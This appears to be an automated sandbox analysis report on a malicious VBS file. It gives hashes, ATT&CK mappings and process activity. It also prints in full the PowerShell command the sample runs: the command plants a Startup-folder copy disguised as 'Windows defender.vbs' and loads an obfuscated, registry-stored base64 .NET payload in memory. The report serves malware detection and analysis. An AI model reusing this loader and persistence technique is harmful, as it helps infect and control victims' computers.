9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016

Analysis

max time kernel
29s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
08-07-2024 19:32

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General

Target

9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs
Size

105KB
MD5

2502518aa797758d68760e5c46f4fd85
SHA1

27f0b73cea1441a772d9635e4f95441ec754549c
SHA256

9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016
SHA512

59ac66961c7a9945d2c3d062662a8e3fe2161d6498a994404261432f62d0af9df35d94900e302da6cfaa5daf8eb1130a83be88fa4c9f874073519341b84cfbae
SSDEEP

1536:BF67GmLWRSsyLZ6Tt1fk9umda0otZHe7GcAthbTmtDFsyCV1XqFv6Z9Ho4TUYj+R:z677LKvfzftUaHvHQwh6IeyRu

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 2452	1148	WScript.exe	29
PID 1148 wrote to memory of 2452	1148	WScript.exe	29
PID 1148 wrote to memory of 2452	1148	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs'; $disagreements = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $disagreements = -join $disagreements[-1..-$disagreements.Length];[<##>AppDomain<##>]::<##>('compositionurrentDomain'.replace('composition','C'))<##>.<##>('Switzerlandoad'.replace('Switzerland','L'))([Convert]::FromBase64String($disagreements))<##>.<##>('taeniacidentryPoint'.replace('taeniacide','E'))<##>.<##>('Inlumpyoke'.replace('lumpy','v'))($Null,$Null)<##>;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2452-4-0x000007FEF507E000-0x000007FEF507F000-memory.dmp

Filesize
4KB

Download
memory/2452-8-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-7-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2452-5-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2452-11-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-10-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-9-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-12-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-13-0x000007FEF507E000-0x000007FEF507F000-memory.dmp

Filesize
4KB

Download